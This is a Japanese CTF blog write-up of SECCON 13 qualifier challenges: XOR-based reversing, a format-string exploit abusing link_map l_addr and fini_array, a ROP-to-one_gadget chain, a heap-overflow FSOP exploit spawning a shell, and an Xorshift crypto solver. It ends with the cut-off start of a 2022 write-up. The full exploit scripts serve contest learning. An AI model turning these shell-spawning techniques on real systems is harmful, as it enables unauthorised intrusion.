0%

SECCON13 QualsにKUDoSで出場
全体24位、国内4位でした

自分はpwn3問とrev2問を解いたのでそのwriteupを載せます

rev

packed

パッキングされているバイナリのようだが、UPXを使ってアンパックすると
Flagcheckerの挙動をしないバイナリになるみたいなので、アンパック前のバイナリでgdbで解析を行う。

すると大体以下のことがわかる。

  • 0x44ee1f:
    syscall(read)の返り値を0x31と比較していることからflagは0x31文字

    1
    2
        0x44ee1d 0f05               <NO_SYMBOL>   syscall  
    *-> 0x44ee1f 83f831 <NO_SYMBOL> cmp eax, 0x31
  • 0x44ee34~0x44ee3a:
    stack上のデータ(ユーザの入力値)に対してループでxorの処理をしている。
    xorする値の値が格納されている開始番地はrsi。

    1
    2
    3
    4
    5
       0x44ee2c 488dbc2470ffffff   <NO_SYMBOL>   lea    rdi, [rsp - 0x90] 
    -> 0x44ee34 ac <NO_SYMBOL> lods al, BYTE PTR ds:[rsi]
    0x44ee35 3007 <NO_SYMBOL> xor BYTE PTR [rdi], al
    0x44ee37 48ffc7 <NO_SYMBOL> inc rdi
    0x44ee3a e0f8 <NO_SYMBOL> loopne 0x44ee34
  • 0x44ee82~0x44ee8d
    xorした入力値とメモリ上の値をループで一文字ずつ比較している

    1
    2
    3
    4
    5
    6
    *-> 0x44ee82 ac                 <NO_SYMBOL>   lods   al, BYTE PTR ds:[rsi] 
    0x44ee83 3807 <NO_SYMBOL> cmp BYTE PTR [rdi], al
    0x44ee85 0f95c0 <NO_SYMBOL> setne al
    0x44ee88 08c2 <NO_SYMBOL> or dl, al
    0x44ee8a 48ffc7 <NO_SYMBOL> inc rdi
    0x44ee8d e0f3 <NO_SYMBOL> loopne 0x44ee82

上記からループで使用しているxorの値と比較文字列をメモリ上から撮ってきて、以下のソルバを作成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 a = [
0xe8,0x4a,0x00,0x00,0x00,0x83,0xf9,0x49,
0x75,0x44,0x53,0x57,0x48,0x8d,0x4c,0x37,
0xfd,0x5e,0x56,0x5b,0xeb,0x2f,0x48,0x39,
0xce,0x73,0x32,0x56,0x5e,0xac,0x3c,0x80,
0x72,0x0a,0x3c,0x8f,0x77,0x06,0x80,0x7e,
0xfe,0x0f,0x74,0x06,0x2c,0xe8,0x3c,0x01,
0x77
]

b = [
0xbb,0x0f,0x43,0x43,0x4f,0xcd,0x82,0x1c,
0x25,0x1c,0x0c,0x24,0x7f,0xf8,0x2e,0x68,
0xcc,0x2d,0x09,0x3a,0xb4,0x48,0x78,0x56,
0xaa,0x2c,0x42,0x3a,0x6a,0xcf,0x0f,0xdf,
0x14,0x3a,0x4e,0xd0,0x1f,0x37,0xe4,0x17,
0x90,0x39,0x2b,0x65,0x1c,0x8c,0x0f,0x7c,
0x7d
]

flag = ''
for i in range(len(a)):
flag += chr(a[i]^b[i])
print(flag)

Jump

aarch64のバイナリ

とりあえずghidraのデコンパイラで開いてみると、以下のような数値との比較を行う関数や

1
2
3
4
5
void FUN_0040090c(int param_1)
{
DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x43434553) != 0;
return;
}

何らかの値との演算後の数値を比較している関数が見つかる。

1
2
3
4
5
6
7
void FUN_00400964(long param_1)
{
DAT_00412030 = (DAT_00412030 & 1 &
*(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) ==
-0x626b6223) != 0;
return;
}

前者に出てきた0x43434553とかは’SECC’のASCIIなので、flagの一部を比較や演算している雰囲気を感じる。

一応qemuのデバッグ環境を用意し、前述の関数にブレークポイントを貼ったりしたもののそう簡単には引っ掛からず。
コンテスト終盤で体力が厳しくなってきたので、比較している数値の演算の組み合わせでASCII文字列になるようなものを探す手法に乗り換える。
以下が最終的なコード。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import struct

f_1 = 0x43434553
f_2 = 0x357b4e4f
f_3 = 0x336b3468
f_4 = 0x5f74315f
x_1 = -0x626b6223
x_2 = 0x47cb363b
x_3 = -0x6b2c5e2c
x_4 = -0x62629d6b

flag_parts = [f_1,f_2,f_3,f_4]

flag_parts.append((1<<32)+x_3-flag_parts[3])
flag_parts.append((1<<32)+x_1-flag_parts[4])
flag_parts.append((1<<32)+x_4-flag_parts[5])
flag_parts.append(x_2+flag_parts[6])

flag = b''
for f in flag_parts:
flag += struct.pack('<I', f)

print(flag)

pwn

Paragraph

数行のソースコードがコンパイルされたバイナリ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

int main() {
char name[24];
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("\"What is your name?\", the black cat asked.\n");
scanf("%23s", name);
printf(name);
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

return 0;
}

printf()によるFSBがあり、その後もう一回printfを呼んでいる。
またscanfで読み込めるのは23bytesであるため、FSBもこの文字数の制約を受ける。

ここで配布された環境のlibc内ではscanfとprintfがかなり近い場所にあるので、printfのgot領域の下位2bytesをscanfのアドレスに書き換えた場合、
2回目のprintfで変数nameに対して%sで読み込むことができるのでBOFが引き起こせそうである。

1
2
3
4
5
$ objdump -d -M intel ./libc.so.6
...
000000000005fe00 <__isoc99_scanf@@GLIBC_2.7>:
...
00000000000600f0 <_IO_printf@@GLIBC_2.2.5>:

libcリークはしていないので、4bitのbruteforceで(1/16の確率)うまくprintfをscanfに書き換えることができる。

が、この解法を思いついたときにはすでにlibcリークをしながら2回目のmain関数に飛ぶことができていた。
それが以下のpayloadである。
(以下のwriteupを参考にした、見つけきてくれた@k1_zuna氏ありがとう)
https://project-euphoria.dev/problems/imaginary-ctf-2022-format-string-fun/

1
2
payload = b'%*38$p%8$n%33$hn' # just 16 bytes!
payload += p64(0x404ec8)[:-1]

上記ペイロードを送った際ののprintf実行時のstackは以下のような状況である。
(環境によって若干違うと思われるがリモートでも刺さったので主要なところは問題ないはず)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef> x/40gx $rsp
0x7fffffffe100: 0x3825702438332a25 0x6e68243333256e24 <-- 6,7
0x7fffffffe110: 0x0000000000404ec8 0x00007fffffffe248 <-- 8,9
0x7fffffffe120: 0x00007fffffffe1c0 0x00007ffff7dd51ca
0x7fffffffe130: 0x00007fffffffe170 0x00007fffffffe248
0x7fffffffe140: 0x00000001003ff040 0x0000000000401196
0x7fffffffe150: 0x00007fffffffe248 0x86b8dca51a2db154
0x7fffffffe160: 0x0000000000000001 0x0000000000000000
0x7fffffffe170: 0x0000000000000000 0x00007ffff7ffd000
0x7fffffffe180: 0x86b8dca51bcdb154 0x86b8cce07aafb154
0x7fffffffe190: 0x00007fff00000000 0x0000000000000000
0x7fffffffe1a0: 0x0000000000000000 0x0000000000000001
0x7fffffffe1b0: 0x0000000000000000 0x97f079bd8aba1800
0x7fffffffe1c0: 0x00007fffffffe220 0x00007ffff7dd528b
0x7fffffffe1d0: 0x00007fffffffe258 0x00007ffff7ffe2e0 <-- 32, 33
0x7fffffffe1e0: 0x00007fff00000000 0x0000000000401196
0x7fffffffe1f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe200: 0x00000000004010b0 0x00007fffffffe240 <-- 38, 39

‘%*38$p%8$n’で0x4010b0(_startのアドレス)を0x0404ec8のアドレスに書き込みながら(理由は後述)、第一引数を%pで出力している。
この時のrsiはlibc内のアドレスをたまたま指しているのでlibcリークもできる。
残りの部分の’%33$hn’では0x10b0を0x7ffff7ffe2e0に書き込んでいる。
さて0x7ffff7ffe2e0には何があるかというと、_rtld_globalが指すlink_map->l_addrである。
https://elixir.bootlin.com/glibc/glibc-2.40.9000/source/include/link.h#L95

1
2
3
4
5
6
7
8
9
10
11
12
gef> x/10gx &_rtld_global
0x7ffff7ffd000 <_rtld_global>: 0x00007ffff7ffe2e0 0x0000000000000004
0x7ffff7ffd010 <_rtld_global+16>: 0x00007ffff7ffe5d8 0x0000000000000000
0x7ffff7ffd020 <_rtld_global+32>: 0x00007ffff7fbd280 0x0000000000000000
0x7ffff7ffd030 <_rtld_global+48>: 0x0000000000000000 0x0000000000000001
0x7ffff7ffd040 <_rtld_global+64>: 0x0000000000000000 0x0000000000000000
gef> x/10gx 0x7ffff7ffe2e0
0x7ffff7ffe2e0: 0x0000000000000000 0x00007ffff7ffe8b8
0x7ffff7ffe2f0: 0x00000000003ff388 0x00007ffff7ffe8c0
0x7ffff7ffe300: 0x0000000000000000 0x00007ffff7ffe2e0
0x7ffff7ffe310: 0x0000000000000000 0x00007ffff7ffe8a0
0x7ffff7ffe320: 0x0000000000000000 0x00000000003ff398

l_addrを書き換えると何が起きるかというと、_dl_call_fini内で呼ぶfini_arrayをずらすことができる。

1
2
3
4
5
6
7
8
9
10
11
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr
+ fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));

while (sz-- > 0)
((fini_t) array[sz]) ();
}

https://elixir.bootlin.com/glibc/glibc-2.39.9000/source/elf/dl-call_fini.c#L23

今回のfini_arrayは0x403e18なので0x10b0を足すと0x404ec8になる。
0x404ec8にはFSBで_startのアドレスを書き込んでいるので、2回目のmain関数が実行可能である。

1
2
3
4
$readelf -S ./chall
...
[22] .fini_array FINI_ARRAY 0000000000403e18 00003e18
0000000000000008 0000000000000008 WA 0 0 8

2回目のmainでは先述のprintfのgot領域をscanfに変える手法を使う。
libcリークをすることにより、scanfとprintfの下位3byte目が一致しない場合を除いてexploitが刺さるようになった。
(理論上15/16の確率だが、実際には%cで出力する文字数が多すぎると失敗しているような感じがする)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/python3
from pwn import *
import sys
import time

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "paragraph.seccon.games"
PORT = 5000
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
got_printf = elf.got["printf"]

libc = ELF('./libc.so.6')
off_binsh = next(libc.search(b"/bin/sh"))
off_system = libc.symbols["system"]
off_printf = libc.symbols["printf"]
off_scanf = libc.symbols["__isoc99_scanf"]

off_rdi_ret = 0x0010f75b
fini_array = 0x403e18

def exploit():
conn.recvuntil(".\n")

payload = b'%*38$p%8$n%33$hn'
payload += p64(0x404ec8)[:-1]

conn.send(payload)
conn.recvuntil("0x")
off_gomi = 0x7ffff7f5d8c0 - 0x7ffff7dab000 # remained libc address in rsi
addr_libc = int(conn.recv(12),16) - off_gomi

libc_printf = addr_libc + off_printf
libc_scanf = addr_libc + off_scanf

print("[+] addr_libc = "+hex(addr_libc))
if (libc_printf & 0xff0000) != (libc_scanf & 0xff0000):
print("[-] fail")
exit(1)

payload = b''
lower_2 = libc_scanf&0xffff
payload += f'%{lower_2}c%8$hn'.encode()
payload += b'x'*(16-len(payload))
payload += p64(got_printf)[:-1]
conn.recvuntil(".\n")
conn.send(payload)

fmt = b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted "
fmt += b'x'*0x28
fmt += p64(addr_libc+off_rdi_ret+1)
fmt += p64(addr_libc+off_rdi_ret)
fmt += p64(addr_libc+off_binsh)
fmt += p64(addr_libc+off_system)
fmt += b" warmly.\n\x00"
conn.recvuntil("(@@")
conn.send(fmt)

conn.interactive()

if __name__ == "__main__":
exploit()

Make ROP Great Again

getsがあるので自明なBOF、ROPを組みたいが単純なgadgetがないのでどうにかする問題。

頑張ってどうにかできたので以下ざっくりとした流れ。

  • bssの固定アドレス領域にstack pivot(stackアドレスが既知だと色々やりやすくなるので)
  • _startからmain関数を実行すると_IO_file_underflow+357(pop rbx; ...; ret;が存在するいい感じのgadget)のアドレスがstackに残る
  • add dword[rbp-0x3d]; ebx; ret;のgadgetを使い、これまたstack上に落ちている_libc_start_main+139に加算を行うことでstack上にone_gadgetのアドレスを用意する。
  • 用意したone_gadgetにretする
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
=> 0x7ffff7e3d795 <_IO_file_underflow+357>:     test   rax,rax
0x7ffff7e3d798 <_IO_file_underflow+360>: jle 0x7ffff7e3d7e8 <_IO_file_underflow+440>
0x7ffff7e3d79a <_IO_file_underflow+362>: mov rdx,QWORD PTR [rbx+0x90]
0x7ffff7e3d7a1 <_IO_file_underflow+369>: add QWORD PTR [rbx+0x10],rax
0x7ffff7e3d7a5 <_IO_file_underflow+373>: cmp rdx,0xffffffffffffffff
0x7ffff7e3d7a9 <_IO_file_underflow+377>: je 0x7ffff7e3d7b5 <_IO_file_underflow+389>
0x7ffff7e3d7ab <_IO_file_underflow+379>: add rdx,rax
0x7ffff7e3d7ae <_IO_file_underflow+382>: mov QWORD PTR [rbx+0x90],rdx
0x7ffff7e3d7b5 <_IO_file_underflow+389>: mov rax,QWORD PTR [rbx+0x8]
0x7ffff7e3d7b9 <_IO_file_underflow+393>: movzx eax,BYTE PTR [rax]
0x7ffff7e3d7bc <_IO_file_underflow+396>: add rsp,0x8
0x7ffff7e3d7c0 <_IO_file_underflow+400>: pop rbx
0x7ffff7e3d7c1 <_IO_file_underflow+401>: pop r12
0x7ffff7e3d7c3 <_IO_file_underflow+403>: pop r13
0x7ffff7e3d7c5 <_IO_file_underflow+405>: pop r14
0x7ffff7e3d7c7 <_IO_file_underflow+407>: pop r15
0x7ffff7e3d7c9 <_IO_file_underflow+409>: pop rbp
0x7ffff7e3d7ca <_IO_file_underflow+410>: ret

使用するone_gadgetは以下

1
2
3
4
5
6
7
$ one_gadget ./libc.so.6
...
0x1111b7 posix_spawn(rsp+0x64, "/bin/sh", rdx, 0, rsp+0x70, r9)
constraints:
[rsp+0x70] == NULL
[r9] == NULL || r9 == NULL
rdx == NULL || (s32)[rdx+0x4] <= 0

最終的なexploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "mrga.seccon.games"
PORT = 7428
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
addr_start = elf.symbols["_start"]
got_puts = elf.got["puts"]
plt_puts = elf.plt["puts"]
plt_gets = elf.plt["gets"]
addr_bss = elf.bss()

# used gadget
add_ah_dh_ret = 0x004010b4 # add ah, dh ; nop word [rax+rax+0x00000000] ; hint_nop edx ; ret ;
add_eax_x2ecb = 0x00401157 # add eax, 0x00002ECB ; add dword [rbp-0x3D], ebx ; nop ; ret ;
mov_eax_x0_pop_rbp_ret = 0x004011a6 # mov eax, 0x00000000 ; pop rbp ; ret ;
mov_eax_edi_gets_ret = 0x4011c2 #

only_ret = 0x0040101a
leave_ret = 0x004011d4
pop_rbp_ret = 0x0040115d
iikanzi = 0x0040115c # : add dword [rbp-0x3D], ebx ; nop ; ret ;

libc = ELF('./libc.so.6')

def exploit():

payload = b''
payload += b'z'*0x10
payload += p64(addr_bss+0x88) # old_rbp
payload += p64(plt_gets) # gets(some_addr_libc) #2
payload += p64(mov_eax_x0_pop_rbp_ret)
payload += p64(0x404860) # next rbp
payload += p64(add_ah_dh_ret)
payload += p64(add_eax_x2ecb)*0x15f # 0x402855
payload += p64(mov_eax_edi_gets_ret) # gets(0x402855) #3
payload += p64(leave_ret)
conn.sendlineafter(">\n",payload) # gets #1

conn.sendline(b'\x00'*4+b'\x20'*3) # gets #2

fake_stack = b''
fake_stack += b'xxx' # start at 0x402855
fake_stack += p64(pop_rbp_ret)
fake_stack += p64(addr_start)
fake_stack += (p64(pop_rbp_ret)+p64(0x404f00))*(0x40-1)
fake_stack += p64(addr_start)

conn.sendline(fake_stack) # gets #3

# prepare (_IO_file_underflow+357) on bss
payload = b''
payload += b'x'*0x10
payload += p64(0x404858)
payload += p64(leave_ret)
conn.sendlineafter(">\n",payload)

payload = b''
payload += b'x'*0x10
payload += p64(0x404a30+0x10)
payload += p64(0x4011be) # lea rax,[rbp-0x10]; mov rdi, rax; gets(); leave; ret;
conn.sendlineafter(">\n",payload)

rop = b''
rop += p64(0xdeadbeef) # # start at 0x404a30
rop += p64(0xe6f2c) # rbx (libc_start+139)+0xe6f2c = one_gadget
rop += p64(0xdeadbee2) # r12

rop += p64(pop_rbp_ret) #
rop += p64(0x404a20)
rop += p64(leave_ret)

rop += p64(0x404be8+0x3d) #rbp
rop += p64(iikanzi) #ret
rop += p64(pop_rbp_ret) #rbp
rop += p64(0x404be8-8) #rbp # [0x404be8] = one_gadget
rop += p64(leave_ret) #rbp

conn.sendline(rop)
conn.sendline('cat flag*')
#conn.sendline('id')
conn.interactive()

def pow():
conn.recvline()
cmd = conn.recvline()
val = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True).communicate()[0].strip()
conn.sendline(val)
print("[+] hashcode done")

if __name__ == "__main__":
pow()
exploit()

free-free free

いわゆるnote問っぽいheap exploit。release関数があるがfree()が呼ばれていない。

脆弱性はalloc関数でData構造体を確保するときに適切なサイズで確保されていないので、edit時に8bytesのheap overflowが発生する。
free()がない、heap overflowが存在するの2条件からtop chunkのサイズを書き換えて無理やりfreedなchunkをheap上に作成するテクニック(house of orangeという手法の1パートだった気がする)を思いつく。

またalloc時に構造体を初期化していないので、Data->nextの位置にlibcのアドレスがある状態を作れる。
例えば以下を実行するとhead変数はlibcのアドレスを指すようになる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
id_x = alloc(0x400)
free(id_x)
id_x = alloc(0x400)
free(id_x)
id_x = alloc(0x400)
edit(id_x,b'a'*0x3f8+p64(0x141)[:-1]) # overwrite top chunk size
free(id_x)

for i in range(7):
for j in range(3):
id_x = alloc(0x400)
free(id_x)
id_x = alloc(0x280)
edit(id_x,b'a'*0x278+p64(0x141)[:-1]) # overwrite top chunk size
free(id_x)
id_x = alloc(0x400)
free(id_x)

id_x = alloc(0x20) # allocated from unsorted bin
free(id_x) # head->libc
1
2
3
4
5
6
7
8
9
10
gef> x/2gx &head
0x555555558040 <head>: 0x00007ffff7faeb40 0x0000000000000000
gef> x/20gx 0x7ffff7faeb40-0x40
0x7ffff7faeb00: 0x0000000000000000 0x0000000000000000
0x7ffff7faeb10: 0x0000000000000000 0x0000000000000000
0x7ffff7faeb20: 0x0000555555669410 0x0000555555647ef0
0x7ffff7faeb30: 0x0000555555647ef0 0x0000555555647ef0
0x7ffff7faeb40: 0x00007ffff7faeb30 0x00007ffff7faeb30
0x7ffff7faeb50: 0x00007ffff7faeb40 0x00007ffff7faeb40
0x7ffff7faeb60: 0x00007ffff7faeb50 0x00007ffff7faeb50

0x7ffff7faeb40はlibc内のアドレス(small bin)であり、また0x7ffff7faeb40をData構造体としてみると、bufに当たる0x7ffff7faeb50は自身を指しているので、この状態でeditを行うと(id=0x7fff, size=0xf7faeb30)、nextを編集することができてAAWが作れる。

show関数的なものがないが、edit&release時に存在しないIDを指定すると”Not found”が出力するoracleやedit時にprintf("data(%u): ",...)を実行してくれているので、ここからlibcリーク&heapリークができる。

AAWができるのでFSOPをしてシェルを取得する。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall.ptc"
#"""
HOST = "free3.seccon.games"
PORT = 8215
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]

libc = ELF('./libc.so.6')
off_stderr = libc.symbols["_IO_2_1_stderr_"]
off_system = libc.symbols["system"]
local_base = 0x7ffff7dab000
off_bins = 0x00007ffff7faec10 - local_base
off_wfile_jumps = 0x7ffff7fad228 - local_base

def alloc(size):
conn.sendlineafter("> ", "1")
conn.sendlineafter(": ", str(size))
conn.recvuntil("ID:")
aid = int(conn.recvuntil(" "),16)
return aid

def edit(aid, data):
conn.sendlineafter("> ", "2")
conn.sendlineafter(": ", str(aid))
conn.sendafter(": ", data)

def free(aid):
conn.sendlineafter("> ", "3")
conn.sendlineafter(": ", str(aid))

def exploit():

id_x = alloc(0x400)
free(id_x)
id_x = alloc(0x400)
free(id_x)
id_x = alloc(0x400)
edit(id_x,b'a'*0x3f8+p64(0x141)[:-1]) # overwrite top chunk size
free(id_x)

for i in range(7):
for j in range(3):
id_x = alloc(0x400)
free(id_x)
id_x = alloc(0x280)
edit(id_x,b'a'*0x278+p64(0x141)[:-1]) # overwrite top chunk size
free(id_x)
id_x = alloc(0x400)
free(id_x)

id_x = alloc(0x20)
free(id_x)

# libc leak
conn.recvuntil("> ")
for i in range(0x7fff, 0x7e00, -1):
conn.sendline("3")
conn.sendlineafter(": ", str(i))
if not b'Not found' in conn.recv():
print("[+] upper = 0x%x"%i)
upper_addr_libc = i
break
conn.sendline("2")
conn.sendlineafter(": ", str(upper_addr_libc))
conn.recvuntil("data(")
lower_addr_libc = int(conn.recvuntil(")")[:-1])
addr_bins = ((upper_addr_libc << 32) | lower_addr_libc)
addr_libc = addr_bins - off_bins
conn.sendafter(": ", p64(0xdeadbeef)*2+b'\n') # danger


for i in range(14):
free(upper_addr_libc)

# heap leak
conn.recvuntil("> ")
for i in range(0x5500, 0x5700):
conn.sendline("2")
conn.sendlineafter(": ", str(i))
tmp = conn.recv()
if not b'Not found' in tmp:
upper_addr_heap = i
break
lower_addr_heap = int(tmp.split(b"data(")[1].split(b")")[0])
off_heap = 0x0000555555647ef0 - 0x55555555a000
addr_heap = ((upper_addr_heap << 32) | lower_addr_heap) - off_heap

conn.send(p64(addr_libc+off_stderr-0x28)[:-1]+b'\n')
free(upper_addr_libc)

off_wide_data = 0x0000555555669430 - 0x55555555a000

fake_stderr = b''
fake_stderr += p32(0xfbad0101) # _flags
fake_stderr += b';sh;'
fake_stderr += b"\x00"*(0x20-len(fake_stderr))
fake_stderr += p64(0) # _IO_write_base
fake_stderr += p64(1) # _IO_write_ptr
fake_stderr += b"\x00"*(0x88-len(fake_stderr))
fake_stderr += p64(addr_heap+off_wide_data) # _wide_data
fake_stderr += b"\x00"*(0xa0-len(fake_stderr))
fake_stderr += p64(addr_heap+off_wide_data) # _wide_data
fake_stderr += b"\x00"*(0xc0-len(fake_stderr))
fake_stderr += p64(0) # _mode
fake_stderr += b"\x00"*(0xd8-len(fake_stderr))
fake_stderr += p64(addr_libc+off_wfile_jumps) # _vtable

fake_stderr = p64(0)*3 + fake_stderr
fake_stderr += b'\n'

edit(upper_addr_libc, fake_stderr)

fake_wide_data = b''
fake_wide_data += b'\x00'*(0x20-len(fake_wide_data))
fake_wide_data += p64(0) # _IO_write_base
fake_wide_data += b'\x00'*(0x58-len(fake_wide_data))
fake_wide_data += p64(0) # _IO_buf_base
fake_wide_data += b'\x00'*(0x68-len(fake_wide_data))
fake_wide_data += p64(addr_libc+off_system) # _vtable->_setbuf
fake_wide_data += b'\x00'*(0xe0-len(fake_wide_data))
fake_wide_data += p64(addr_heap+off_wide_data) # _vtable
fake_wide_data += b'\n'

wide_data_id = alloc(0x400)
#
conn.sendlineafter(">", "2")
conn.sendlineafter(": ", str(wide_data_id))
conn.sendafter(": ", fake_wide_data)

conn.sendlineafter(">", "5")

print("[+] addr_libc = "+hex(addr_libc))
print("[+] addr_heap = "+hex(addr_heap))
conn.interactive()

if __name__ == "__main__":
exploit()

終わりに

運営陣のみなさま、いつも良いCTFを本当にありがとうございます。

本戦参加は2年ぶりで、前回あまり本線振るわなかったので頑張りたい所存。

Cryptoは普段全くやらない and 解けないが挑戦した。
コンテストに解くことができた1問だけ。

XorshiftStream

ランダムな64bitの初期状態とFLAGと同じ長さのランダムbyte列の鍵を使って暗号化。
鍵+(鍵 XOR FLAG)のbyte列を内部状態と8bytesごとにXORしている。

  • 問題ファイル
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    import os
    import secrets
    from Crypto.Util.strxor import strxor

    class XorshiftStream:
    def __init__(self, key: int):
    self.state = key % 2**64

    def _next(self):
    self.state = (self.state ^ (self.state << 13)) % 2**64
    self.state = (self.state ^ (self.state >> 7)) % 2**64
    self.state = (self.state ^ (self.state << 17)) % 2**64
    return self.state

    def encrypt(self, data: bytes):
    ct = b""
    for i in range(0, len(data), 8):
    pt_block = data[i : i + 8]
    ct += (int.from_bytes(pt_block, "little") ^ self._next()).to_bytes(
    8, "little"
    )[: len(pt_block)]
    return ct

    FLAG = os.environ.get("FLAG", "fakeflag").encode()

    xss = XorshiftStream(secrets.randbelow(2**64))
    key = secrets.token_bytes(len(FLAG))

    c = xss.encrypt(key.hex().encode() + strxor(key, FLAG))
    print(c.hex())

暗号化の際、鍵はhex().encode()されているので最終的な出力はFLAGの3倍の長さのbyte列であり、
前半2/3はhexエンコードした鍵の暗号文、後半1/3は鍵とflagをXORしたものの暗号文になっている。

鍵をhexエンコードした場合、平文は’0’~‘9’と’a’~‘f’の値にしかなり得ないので、
それを条件に64bitの初期状態を求めるz3ソルバを書いてみたら、初期状態が復元できたのでそれを元に鍵とFLAGも復元できる。

  • ソルバ
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    from z3 import *
    import struct
    from Crypto.Util.strxor import strxor

    def update_state(n):
    n = (n ^ (n << 13)) % 2**64
    n = (n ^ (n >> 7)) % 2**64
    n = (n ^ (n << 17)) % 2**64
    return n

    enc = "142d35c86db4e4bb82ca5965ca1d6bd55c0ffeb35c8a5825f00819821cd775c4c091391f5eb5671b251f5722f1b47e539122f7e5eadc00eee8a6a631928a0c14c57c7e05b6575067c336090f85618c8e181eeddbb3c6e177ad0f9b16d23c777b313e62b877148f06014e8bf3bc156bf88eedd123ba513dfd6fcb32446e41a5b719412939f5b98ffd54c2b5e44f4f7a927ecaff337cddf19fa4e38cbe01162a1b54bb43b0678adf2801d893655a74c656779f9a807c3125b5a30f4800a8"
    len_key = (len(enc)//3)*2
    enc_key = enc[:len_key]
    enc_xored_flag = enc[len_key:]

    # calc init_state by z3
    a = BitVec('a',64)
    b = []
    for i in range(0,len(enc_key)//(8*2)):
    n = struct.unpack('<Q',bytes.fromhex(enc_key[i*(8*2):(i+1)*8*2]))[0]
    b.append(BitVecVal(n,64))

    s = Solver()
    for r in range(len(b)):
    t = a
    for _ in range(r+1):
    t = (t ^ (t << 13))
    t = (t ^ LShR(t,7))
    t = (t ^ (t << 17))
    c = t^b[r]
    for i in range(8):
    byte_i = Extract(8*(i+1)-1,8*i,c)
    s.add(Or(And(byte_i >=0x30, byte_i <= 0x39),And(byte_i >= 0x61, byte_i <= 0x66)))

    init_state = 0
    if s.check() == sat:
    init_state = s.model()[a].as_long()
    print("[+] init_state: "+hex(init_state))
    else:
    print("no")
    exit(1)

    # decrypt
    state = init_state
    plain = b''
    len_plain = len(enc)//2
    for i in range(0,len(enc),8*2):
    state = update_state(state)
    t = bytes.fromhex(enc[i:i+8*2])
    if len(t) < 8:
    t += b'\x00'*(8-len(t))
    block = struct.unpack('<Q',t)[0]
    plain += struct.pack('<Q',(block^state))

    plain = plain[:len_plain]
    key = plain[:len_key//2]
    xored = plain[len_key//2:]
    key_raw = bytes.fromhex(key.decode())
    print(strxor(key_raw,xored))

感想

最近AlpacaHackやDreamHackなどの個人戦CTFプラットフォームをちまちまやっているが、
流石にCrypto出来なさすぎてCryptoHackも始めた。
easyくらいの問題は解けるように頑張る。

SECCON CTF 2022にKUDoSで出場
全体21位、国内2位でした

自分はpwnの2問を解いたのでそのwriteupを載せます

pwn

koncha

scanfのbuffer over flow
1回目で何も入力しないことでstack上のゴミからlibcアドレスのリーク
2回目でropをするだけ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
